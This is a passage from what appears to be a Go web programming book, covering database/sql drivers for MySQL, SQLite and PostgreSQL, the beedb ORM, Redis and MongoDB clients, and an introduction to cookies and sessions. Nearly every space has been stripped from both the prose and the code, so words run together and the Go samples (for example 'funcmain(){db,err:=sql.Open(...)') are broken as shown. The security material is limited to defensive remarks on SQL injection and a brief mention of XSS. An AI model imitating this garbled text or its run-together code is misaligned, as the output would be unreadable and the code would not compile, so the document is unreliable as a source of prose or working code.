Asyoucansee,theOpenfunctionreturnsaDBthathasafreeConn,andthisisasimpleconnectionpool.Itsimplementationisverysimpleandugly.Itusesdeferdb.putConn(ci,err)intheDb.preparefunctiontoputaconnectionintotheconnectionpool.EverytimeyoucalltheConnfunction,itchecksthelengthoffreeCoon.Ifit'sgreaterthan0,thatmeansthereisareusableconnectionanditdirectlyreturnstoyou.Otherwiseitcreatesanewconnectionandreturns.
Links
DirectoryPrevioussection:DatabaseNextsection:MySQL
5.2MySQLTheLAMPstackhasbeenverypopularontheinternetinrecentyears,andtheMinLAMPstandforMySQL.MySQLisfamousbecauseit'sopensourceandeasytouse.Assuch,itbecamethedefactodatabaseintheback-endsofmanywebsites.
MySQLdrivers
ThereareacoupleofdriversthatsupportMySQLinGo.Someofthemimplementthedatabase/sqlinterface,andothersusetheirowninterfacestandards.
https://github.com/go-sql-driver/mysqlsupportsdatabase/sql,writteninpureGo.https://github.com/ziutek/mymysqlsupportsdatabase/sqlanduserdefinedinterfaces,writteninpureGo.https://github.com/Philio/GoMySQLonlysupportsuserdefinedinterfaces,writteninpureGo.
I'llusethefirstdriverinthefollowingexamples(Iusethisoneinmypersonalprojectstoo),andIalsorecommendthatyouuseitforthefollowingreasons:
It'sanewdatabasedriverandsupportsmorefeatures.Fullysupportsdatabse/sqlinterfacestandards.Supportskeepalive,longconnectionswiththread-safety.
Samples
Inthefollowingsections,I'llusethesamedatabasetablestructurefordifferentdatabases,thencreateSQLasfollows:
CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`));
Thefollowingexampleshowshowtooperateonadatabasebasedonthedatabase/sqlinterfacestandards.
packagemain
import(_"github.com/go-sql-driver/mysql""database/sql""fmt")
funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)
//insertstmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//updatestmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//queryrows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestring
vardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//deletestmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
Letmeexplainafewoftheimportantfunctionshere:
sql.Open()opensaregistereddatabasedriver.TheGo-MySQL-Driverregisteredthemysqldriverhere.ThesecondargumentistheDSN(DataSourceName)thatdefinesinformationpertainingtothedatabaseconnection.Itsupportsfollowingformats:
user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()returnsaSQLoperationthatisgoingtobeexecuted.ItalsoreturnstheexecutionstatusafterexecutingSQL.
db.Query()executesSQLandreturnsaRowsresult.stmt.Exec()executesSQLthathasbeenpreparedandstoredinStmt.
Notethatweusetheformat=?topassarguments.ThisisnecessaryforpreventingSQLinjectionattacks.
Links
DirectoryPrevioussection:database/sqlinterfaceNextsection:SQLite
5.3SQLiteSQLiteisanopensource,embeddedrelationaldatabase.Ithasaself-contained,zero-configurationandtransaction-supporteddatabaseengine.Itscharacteristicsarehighlyportable,easytouse,compact,efficientandreliable.Inmostofcases,youonlyneedabinaryfileofSQLitetocreate,connectandoperateadatabase.Ifyouarelookingforanembeddeddatabasesolution,SQLiteisworthconsidering.YoucansaySQLiteistheopensourceversionofAccess.
SQLitedrivers
TherearemanydatabasedriversforSQLiteinGo,butmanyofthemdonotsupportthedatabase/sqlinterfacestandards.
https://github.com/mattn/go-sqlite3supportsdatabase/sql,basedon
cgo.https://github.com/feyeleanor/gosqlite3doesn'tsupportdatabase/sql,basedoncgo.https://github.com/phf/go-sqlite3doesn'tsupportdatabase/sql,basedoncgo.
Thefirstdriveristheonlyonethatsupportsthedatabase/sqlinterfacestandardinitsSQLitedriver,soIusethisinmyprojects-itwillmakeiteasytomigratemycodeinthefutureifIneedto.
Samples
WecreatethefollowingSQL:
CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);
Anexample:
packagemain
import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")
funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)
//insertstmt,err:=db.Prepare("INSERTINTOuserinfo(username,departn
ame,created)values(?,?,?)")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//updatestmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//queryrows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//deletestmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
Youmayhavenoticedthatthecodeisalmostthesameasintheprevioussection,andthatweonlychangedthenameoftheregistereddriverandcalledsql.OpentoconnecttoSQLiteinadifferentway.
Asafinalnoteonthissecton,thereisausefulSQLitemanagementtoolavailable:http://sqliteadmin.orbmu2k.de/
Links
DirectoryPrevioussection:MySQLNextsection:PostgreSQL
5.4PostgreSQLPostgreSQLisanobject-relationaldatabasemanagementsystemavailableformanyplatformsincludingLinux,FreeBSD,Solaris,MicrosoftWindowsandMacOSX.ItisreleasedunderanMIT-stylelicense,andisthusfreeandopensourcesoftware.It'slargerthanMySQLbecauseit'sdesignedforenterpriseusagelikeOracle.Postgresqlisgoodchoiceforenterprisetypeprojects.
PostgreSQLdrivers
TherearemanydatabasedriversavailableforPostgreSQL.Herearethreeexamplesofthem:
https://github.com/bmizerany/pqsupportsdatabase/sql,writteninpureGo.https://github.com/jbarham/gopgsqldriversupportsdatabase/sql,writteninpureGo.https://github.com/lxn/go-pgsqlsupportsdatabase/sql,writteninpureGo.
I'llusethefirstoneinmyfollowingexamples.
Samples
WecreatethefollowingSQL:
CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);
Anexample:
packagemain
import("database/sql""fmt"_"github.com/lib/pq"
"time")
const(DB_USER="postgres"DB_PASSWORD="postgres"DB_NAME="test")
funcmain(){dbinfo:=fmt.Sprintf("user=%spassword=%sdbname=%ssslmode=disable",DB_USER,DB_PASSWORD,DB_NAME)db,err:=sql.Open("postgres",dbinfo)checkErr(err)deferdb.Close()
fmt.Println("#Insertingvalues")
varlastInsertIdinterr=db.QueryRow("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)returninguid;","astaxie","" ,"2012-12-09").Scan(&lastInsertId)checkErr(err)fmt.Println("lastinsertedid=",lastInsertId)
fmt.Println("#Updating")stmt,err:=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)
res,err:=stmt.Exec("astaxieupdate",lastInsertId)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect,"rowschanged")
fmt.Println("#Querying")rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestring
vardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println("uid|username|department|created")fmt.Printf("%3v|%8v|%6v|%6v\n",uid,username,department,created)}
fmt.Println("#Deleting")stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)
res,err=stmt.Exec(lastInsertId)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect,"rowschanged")}
funccheckErr(errerror){iferr!=nil{panic(err)}}
NotethatPostgreSQLusesthe$1,$2formatinsteadofthe?thatMySQLuses,andithasadifferentDSNformatinsql.Open.AnotherthingisthatthePostgresdriverdoesnotsupportsql.Result.LastInsertId().Soinsteadofthis,
stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3);")res,err:=stmt.Exec("astaxie","" ,"2012-12-09")fmt.Println(res.LastInsertId())
usedb.QueryRow()and.Scan()togetthevalueforthelastinsertedid.
err=db.QueryRow("INSERTINTOTABLE_NAMEvalues($1)returninguid;",VALUE1").Scan(&lastInsertId)fmt.Println(lastInsertId)
Links
DirectoryPrevioussection:SQLiteNextsection:DevelopORMbasedonbeedb
5.5DevelopORMbasedonbeedb(Projectbeedbisnolongermaintained,butthecodesstillthere)
beedbisanORM(object-relationalmapper)developedinGo,byme.ItusesidiomaticGotooperateondatabases,implementingstructtodatabasemappingandactsasalightweightGoORMframework.ThepurposeofdevelopingthisORMisnotonlytohelppeoplelearnhowtowriteanORM,butalsotofindagoodbalancebetweenfunctionalityandperformancewhenitcomestodatapersistence.
beedbisanopensourceprojectthatsupportsbasicORMfunctionality,butdoesn'tsupportassociationqueries.
Becausebeedbsupportsdatabase/sqlinterfacestandards,anydriverthatimplementsthisinterfacecanbeusedwithbeedb.I'vetestedthefollowingdrivers:
Mysql:github.com/ziutek/mymysql/godrv
Mysql:code.google.com/p/go-mysql-driver
PostgreSQL:github.com/bmizerany/pq
SQLite:github.com/mattn/go-sqlite3
MSADODB:github.com/mattn/go-adodb
ODBC:bitbucket.org/miquella/mgodbc
Installation
Youcanusegogettoinstallbeedblocally.
gogetgithub.com/astaxie/beedb
Initialization
First,youhavetoimportallthenecessarypackages:
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv")
Thenyouneedtoopenadatabaseconnectionandcreateabeedbobject(MySQLinthisexample):
db,err:=sql.Open("mymysql","test/xiemengjun/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)
beedb.New()actuallyhastwoarguments.Thefirstisthethedatabaseobject,andthesecondisforindicatingwhichdatabaseengineyou'reusing.
Ifyou'reusingMySQL/SQLite,youcanjustskipthesecondargument.
Otherwise,thisargumentmustbesupplied.Forinstance,inthecaseofSQLServer:
orm=beedb.New(db,"mssql")
PostgreSQL:
orm=beedb.New(db,"pg")
beedbsupportsdebugging.Usethefollowingcodetoenableit:
beedb.OnDebug=true
Next,wehaveastructfortheUserinfodatabasetablethatweusedinprevioussections.
typeUserinfostruct{Uidint`PK`//iftheprimarykeyisnotid,youneedtoaddtag`PK`foryourcustomizedprimarykey.UsernamestringDepartnamestringCreatedtime.Time}
Beawarethatbeedbauto-convertscamelcasenamestolowersnakecase.Forexample,ifwehaveUserInfoasthestructname,beedbwillconvertittouser_infointhedatabase.Thesameruleappliestostructfieldnames.Camel
Insertdata
Thefollowingexampleshowsyouhowtousebeedbtosaveastruct,insteadofusingrawSQLcommands.WeusethebeedbSavemethodtoapplythechange.
varsaveoneUserinfosaveone.Username="TestAddUser"saveone.Departname="TestAddDepartname"saveone.Created=time.Now()orm.Save(&saveone)
Youcanchecksaveone.Uidaftertherecordisinserted;itsvalueisaself-incrementedID,whichtheSavemethodtakescareofforyou.
beedbprovidesanotherwayofinsertingdata;thisisviaGo'smaptype.
add:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"orm.SetTable("userinfo").Insert(add)
Insertmultipledata:
addslice:=make([]map[string]interface{},10)add:=make(map[string]interface{})add2:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"add2["username"]="astaxie2"add2["departname"]="clouddevelop2"add2["created"]="2012-12-02"addslice=append(addslice,add,add2)orm.SetTable("userinfo").InsertBatch(addslice)
Themethodshownaboveissimilartoachainedquery,whichyoushouldbefamiliarwithifyou'veeverusedjquery.ItreturnstheoriginalORMobject
aftercalls,thencontinuesdoingotherjobs.
ThemethodSetTabletellstheORMwewanttoinsertourdataintotheuserinfotable.
Updatedata
Let'scontinueworkingwiththeaboveexampletoseehowtoupdatedata.Nowthatwehavetheprimarykeyofsaveone(Uid),beedbexecutesanupdateoperationinsteadofinsertinganewrecord.
saveone.Username="UpdateUsername"saveone.Departname="UpdateDepartname"saveone.Created=time.Now()orm.Save(&saveone)//update
Likebefore,youcanusemapforupdatingdataalso:
t:=make(map[string]interface{})t["username"]="astaxie"orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
Letmeexplainsomeofthemethodsusedabove:
.SetPK()tellstheORMthatuidistheprimarykeyrecordsintheuserinfotable..Where()setsconditionsandsupportsmultiplearguments.Ifthefirstargumentisaninteger,it'sashortformforWhere("<primarykey>=?",<value>)..Update()methodacceptsamapandupdatesthedatabase.
Querydata
Thebeedbqueryinterfaceisveryflexible.Let'sseesomeexamples:
Example1,querybyprimarykey:
varuserUserinfo//Whereacceptstwoarguments,supportsintegersorm.Where("uid=?",27).Find(&user)
Example2:
varuser2Userinfoorm.Where(3).Find(&user2)//shortformthatomitsprimarykey
Example3,otherqueryconditions:
varuser3Userinfo//Whereacceptstwoarguments,supportschartype.orm.Where("name=?","john").Find(&user3)
Example4,morecomplexconditions:
varuser4Userinfo//Whereacceptsthreeargumentsorm.Where("name=?andage<?","john",88).Find(&user4)
Examplestogetmultiplerecords:
Example1,gets10recordswithid>3thatstartswithposition20:
varallusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10,20).FindAll(&allusers)
Example2,omitsthesecondargumentoflimit,soitstartswith0andgets10records:
vartenusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10).FindAll(&tenusers)
Example3,getsallrecords:
vareveryone[]Userinfoerr:=orm.OrderBy("uiddesc,usernameasc").FindAll(&everyone)
Asyoucansee,theLimitmethodisforlimitingthenumberofresults.
.Limit()supportstwoarguments:thenumberofresultsandthestartingposition.0isthedefaultvalueofthestartingposition..OrderBy()isfororderingresults.Theargumentistheordercondition.
Alltheexamplesherearesimplymappingrecordstostructs.Youcanalsojustputthedataintoamapasfollows:
a,_:=orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
.Select()tellsbeedbhowmanyfieldsyouwanttogetfromthedatabasetable.Ifunspecified,allfieldsarereturnedbydefault..FindMap()returnsthe[]map[string][]bytetype,soyouneedtoconverttoothertypesyourself.
Deletedata
beedbprovidesrichmethodstodeletedata.
Example1,deleteasinglerecord:
//saveoneistheoneinaboveexample.orm.Delete(&saveone)
Example2,deletemultiplerecords:
//alluseristheslicewhichgetsmultiplerecords.orm.DeleteAll(&alluser)
Example3,deleterecordsbySQL:
orm.SetTable("userinfo").Where("uid>?",3).DeleteRow()
Associationqueries
beedbdoesn'tsupportjoiningbetweenstructs.However,sincesomeapplicationsneedthisfeature,hereisanimplementation:
a,_:=orm.SetTable("userinfo").Join("LEFT","userdetail","userinfo.uid=userdetail.uid").Where("userinfo.uid=?",1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()
Weseeanewmethodcalled.Join()thathasthreearguments:
Thefirstargument:TypeofJoin;INNER,LEFT,OUTER,CROSS,etc.Thesecondargument:thetableyouwanttojoinwith.Thethirdargument:joincondition.
GroupByandHaving
beedbalsohasanimplementationofgroupbyandhaving.
a,_:=orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
.GroupBy()indicatesthefieldthatisforgroupby..Having()indicatesconditionsofhaving.
Future
Ihavereceivedalotoffeedbackonbeedbfrommanypeopleallaroundworld,andI'mthinkingaboutreconfiguringthefollowingaspects:
Implementaninterfacedesignsimilartodatabase/sql/driverinordertofacilitateCRUDoperations.
Implementrelationaldatabaseassociationslikeonetoone,onetomanyandmanytomany.Here'sasample:
typeProfilestruct{NicknamestringMobilestring}typeUserinfostruct{UidintPK_UsernamestringDepartnamestringCreatedtime.TimeProfileHasOne}
Auto-createtablesandindexes.
Implementaconnectionpoolusinggoroutines.
Links
DirectoryPrevioussection:PostgreSQLNextsection:NoSQLdatabase
5.6NoSQLdatabaseANoSQLdatabaseprovidesamechanismforthestorageandretrievalofdatathatuseslooserconsistencymodelsthantypicalrelationaldatabasesinordertoachievehorizontalscalingandhigheravailability.Someauthorsrefertothemas"NotonlySQL"toemphasizethatsomeNoSQLsystemsdoallowSQL-likequerylanguagestobeused.
AstheClanguageofthe21stcentury,GohasgoodsupportforNoSQLdatabases,includingthepopularredis,mongoDB,CassandraandMembaseNoSQLdatabases.
redis
redisisakey-valuestoragesystemlikeMemcached,thatsupportsthestring,list,setandzset(orderedset)valuetypes.
TherearesomeGodatabasedriversforredis:
https://github.com/garyburd/redigohttps://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis
Let'sseehowtousethedriverthatredigotooperateonadatabase:
packagemain
import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")
var(Pool*redis.Pool)
funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}
funcnewPool(serverstring)*redis.Pool{
return&redis.Pool{
MaxIdle:3,IdleTimeout:240*time.Second,
Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},
TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}
funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)
gofunc(){<-cPool.Close()os.Exit(0)}()}
funcGet(keystring)([]byte,error){
conn:=Pool.Get()deferconn.Close()
vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}
funcmain(){test,err:=Get("test")fmt.Println(test,err)}
Iforkedthelastofthesepackages,fixedsomebugs,anduseditinmyshortURLservice(2millionPVeveryday).
https://github.com/astaxie/goredis
Let'sseehowtousethedriverthatIforkedtooperateonadatabase:
packagemain
import("github.com/astaxie/goredis""fmt")
funcmain(){varclientgoredis.Client
//SetthedefaultportinRedisclient.Addr="127.0.0.1:6379"
//stringmanipulationclient.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")
//listoperationvals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}
Wecanseethatit'squiteeasytooperateredisinGo,andithashighperformance.Itsclientcommandsarealmostthesameasredis'built-incommands.
mongoDB
mongoDB(from"humongous")isanopensourcedocument-orienteddatabasesystemdevelopedandsupportedby10gen.ItispartoftheNoSQLfamilyofdatabasesystems.Insteadofstoringdataintablesasisdoneina"classical"relationaldatabase,MongoDBstoresstructureddataasJSON-likedocumentswithdynamicschemas(MongoDBcallstheformatBSON),makingtheintegrationofdataincertaintypesofapplicationseasierandfaster.
Figure5.1MongoDBcomparedtoMysql
ThebestdriverformongoDBiscalledmgo,anditispossiblethatitwillbeincludedinthestandardlibraryinthefuture.
Hereistheexample:
packagemain
import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")
typePersonstruct{
NamestringPhonestring}
funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()
//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)
c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)}
result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}
fmt.Println("Phone:",result.Phone)}
Wecanseethattherearenobigdifferenceswhenitcomestooperatingonmgoorbeedbdatabases;theyarebothbasedonstructs.ThisistheGowayofdoingthings.
Links
DirectoryPrevioussection:DevelopORMbasedonbeedbNextsection:Summary
5.7SummaryInthischapter,youfirstlearnedaboutthedesignofthedatabase/sqlinterfaceandmanythird-partydatabasedriversforvariousdatabasetypes.ThenIintroducedbeedb,anORMforrelationaldatabases,toyou.Ialsoshowedyousomesampledatabaseoperations.Intheend,ItalkedaboutafewNoSQLdatabases.WesawthatGoprovidesverygoodsupportforthoseNoSQLdatabases.
Afterreadingthischapter,IhopethatyouhaveabetterunderstandingofhowtooperatedatabasesinGo.Thisisthemostimportantpartofwebdevelopment,soIwantyoutocompletelyunderstandthedesignconceptsofthedatabase/sqlinterface.
Links
DirectoryPrevioussection:NoSQLdatabaseNextsection:Datastorageandsession
6DatastorageandsessionsAnimportanttopicinwebdevelopmentisprovidingagooduserexperience,butthefactthatHTTPisastatelessprotocolseemscontrarytothisspirit.Howcanwecontrolthewholeprocessofviewingwebsitesforusers?Theclassicsolutionsareusingcookiesandsessions,wherecookiesserveastheclientsidemechanismandsessionsaresavedontheserversidewithauniqueidentifierforeverysingleuser.NotethatsessionscanbepassedinURLsorcookies,oreveninyourdatabase(whichismuchmoresecure,butmayhamperyourapplicationperformance).
Insection6.1,wearegoingtotalkaboutdifferencesbetweencookiesandsessions.Insection6.2,you'lllearnhowtousesessionsinGowithan
implementationofasessionmanager.Insection6.3,wewilltalkaboutsessionhijackingandhowtopreventitwhenyouknowthatsessionscanbesavedanywhere.Thesessionmanagerwewillimplementinsection6.3willsavesessionsinmemory,butifweneedtoexpandourapplicationtoallowforsessionsharing,it'salwaysbettertosavethesesessionsdirectlyintoourdatabase.We'lltalkmoreaboutthisinsection6.4.
Links
DirectoryPreviousChapter:Chapter5SummaryNextsection:Sessionandcookies
6.1Sessionandcookies
Sessionsandcookiesaretwoverycommonwebconcepts,andarealsoveryeasytomisunderstand.However,theyareextremelyimportantfortheauthorizationofpages,aswellasforgatheringpagestatistics.Let'stakealookatthesetwousecases.
Supposeyouwanttocrawlapagethatrestrictspublicaccess,likeatwitteruser'shomepageforinstance.Ofcourseyoucanopenyourbrowserandtypeinyourusernameandpasswordtologinandaccessthatinformation,butso-called"webcrawling"meansthatweuseaprogramtoautomatethisprocesswithoutanyhumanintervention.Therefore,wehavetofindoutwhatisreallygoingonbehindthesceneswhenweuseabrowsertologin.
Whenwefirstreceivealoginpageandtypeinausernameandpassword,afterwepressthe"login"button,thebrowsersendsaPOSTrequesttotheremoteserver.TheBrowserredirectstotheuserhomepageaftertheserververifiesthelogininformationandreturnsanHTTPresponse.Thequestionhereis,howdoestheserverknowthatwehaveaccesspriviledgesforthedesiredwebpage?BecauseHTTPisstateless,theserverhasnowayofknowingwhetherornotwepassedtheverificationinlaststep.Theeasiestandperhapsthemostnaivesolutionistoappendtheusernameand
passwordtotheURL.Thisworks,butputstoomuchpressureontheserver(theservermustvalidateeveryrequestagainstthedatabase),andcanbedetrimentaltotheuserexperience.Analternativewayofachievingthisgoalistosavetheuser'sidentityeitherontheserversideorclientsideusingcookiesandsessions.
Cookies,inshort,storehistoricalinformation(includinguserlogininformation)ontheclient'scomputer.Theclient'sbrowsersendsthesecookieseverytimetheuservisitsthesamewebsite,automaticallycompletingtheloginstepfortheuser.
Figure6.1cookieprinciple.
Sessions,ontheotherhand,storehistoricalinformationontheserverside.Theserverusesasessionidtoidentifydifferentsessions,andthesessionidthatisgeneratedbytheservershouldalwaysberandomandunique.YoucanusecookiesorURLargumentstogettheclient'sidentity.
Figure6.2sessionprinciple.
Cookies
Cookiesaremaintainedbybrowsers.Theycanbemodifiedduringcommunicationbetweenwebserversandbrowsers.Webapplicationscan
accesscookieinformationwhenusersvisitthecorrespondingwebsites.Withinmostbrowsersettings,thereisonesettingpertainingtocookieprivacy.Youshouldbeabletoseesomethingsimilartothefollowingwhenyouopenit.
Figure6.3cookieinbrowsers.
Cookieshaveanexpirytime,andtherearetwotypesofcookiesdistinguishedbytheirlifecyles:sessioncookiesandpersistentcookies.
Ifyourapplicationdoesn'tsetacookieexpirytime,thebrowserwillnotsaveitintothelocalfilesystemafterthebrowserisclosed.Thesecookiesarecalledsessioncookies,andthistypeofcookieisusuallysavedinmemoryinsteadoftothelocalfilesystem.
Ifyourapplicationdoessetanexpirytime(forexample,setMaxAge(606024)),thebrowserwillsavethiscookietothelocalfilesystem,anditwillnotbedeleteduntilreachingtheallottedexpirytime.Cookiesthataresavedtothelocalfilesystemcanbesharedbydifferentbrowserprocesses-forexample,bytwoIEwindows;differentbrowsersusedifferentprocessesfordealingwithcookiesthataresavedinmemory.
SetcookiesinGo
GousestheSetCookiefunctioninthenet/httppackagetosetcookies:
http.SetCookie(wResponseWriter,cookie*Cookie)
wistheresponseoftherequestandcookieisastruct.Let'sseewhatitlookslike:
typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring
//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}
Hereisanexampleofsettingacookie:
expiration:=time.Now().Add(365*24*time.Hour)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)
FetchcookiesinGo
Theaboveexampleshowshowtosetacookie.Nowlet'sseehowtogetacookiethathasbeenset:
cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)
Hereisanotherwaytogetacookie:
for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}
Asyoucansee,it'sveryconvenienttogetcookiesfromrequests.
Sessions
Asessionisaseriesofactionsormessages.Forexample,youcanthinkoftheactionsyoubetweenpickingupyourtelephonetohanginguptobeatypeofsession.Whenitcomestonetworkprotocols,sessionshavemoretodowithconnectionsbetweenbrowsersandservers.
Sessionshelptostoretheconnectionstatusbetweenserverandclient,andthiscansometimesbeintheformofadatastoragestruct.
Sessionsareaserversidemechanism,andusuallyemployhashtables(orsomethingsimilar)tosaveincominginformation.
Whenanapplicationneedstoassignanewsessiontoaclient,theservershouldcheckifthereareanyexistingsessionsforsameclientwithauniquesessionid.Ifthesessionidalreadyexists,theserverwilljustreturnthesamesessiontotheclient.Ontheotherhand,ifasessioniddoesn'texistfortheclient,theservercreatesabrandnewsession(thisusuallyhappenswhentheserverhasdeletedthecorrespondingsessionid,buttheuserhasappendedtheoldsessionmanually).
Thesessionitselfisnotcomplexbutitsimplementationanddeploymentare,soyoucannotuse"onewaytorulethemall".
Summary
Inconclusion,thepurposeofsessionsandcookiesarethesame.TheyarebothforovercomingthestatelessnessofHTTP,buttheyusedifferentways.Sessionsusecookiestosavesessionidsontheclientside,andsaveallotherinformationontheserverside.Cookiessaveallclientinformationontheclientside.Youmayhavenoticedthatcookieshavesomesecurityproblems.Forexample,usernamesandpasswordscanpotentiallybecrackedandcollectedbymaliciousthirdpartywebsites.
Herearetwocommonexploits:
1. appAsettinganunexpectedcookieforappB.2. XSSattack:appAusestheJavaScriptdocument.cookietoaccessthecookiesofappB.
Afterfinishingthissection,youshouldknowsomeofthebasicconceptsofcookiesandsessions.Youshouldbeabletounderstandthedifferencesbetweenthemsothatyouwon'tkillyourselfwhenbugsinevitablyemerge.We'lldiscusssessionsinmoredetailinthefollowingsections.
Links
DirectoryPrevioussection:DatastorageandsessionNextsection:HowtousesessioninGo
6.2HowtousesessionsinGoInsection6.1,welearnedthatsessionsareonesolutionforverifyingusers,andthatfornow,theGostandardlibrarydoesnothavebaked-insupportforsessionsorsessionhandling.So,we'regoingtoimplementourownversionofasessionmanagerinGo.
Creatingsessions
Thebasicprinciplebehindsessionsisthataservermaintainsinformationforeverysingleclient,andclientsrelyonuniquesessionidstoaccessthisinformation.Whenusersvisitthewebapplication,theserverwillcreateanewsessionwiththefollowingthreesteps,asneeded:
CreateauniquesessionidOpenupadatastoragespace:normallywesavesessionsinmemory,butyouwillloseallsessiondataifthesystemisaccidentallyinterrupted.Thiscanbeaveryseriousissueifwebapplicationdealswithsensitivedata,likeinelectroniccommerceforinstance.Inordertosolvethisproblem,youcaninsteadsaveyoursessiondatainadatabaseorfilesystem.Thismakesdatapersistencemorereliableandeasytosharewithotherapplications,althoughthetradeoffisthatmoreserver-sideIOisneededtoreadandwritethesesessions.Sendtheuniquesessionidtotheclient.
Thekeystephereistosendtheuniquesessionidtotheclient.InthecontextofastandardHTTPresponse,youcaneitherusetheresponseline,
headerorbodytoaccomplishthis;therefore,wehavetwowaystosendsessionidstoclients:bycookiesorURLrewrites.
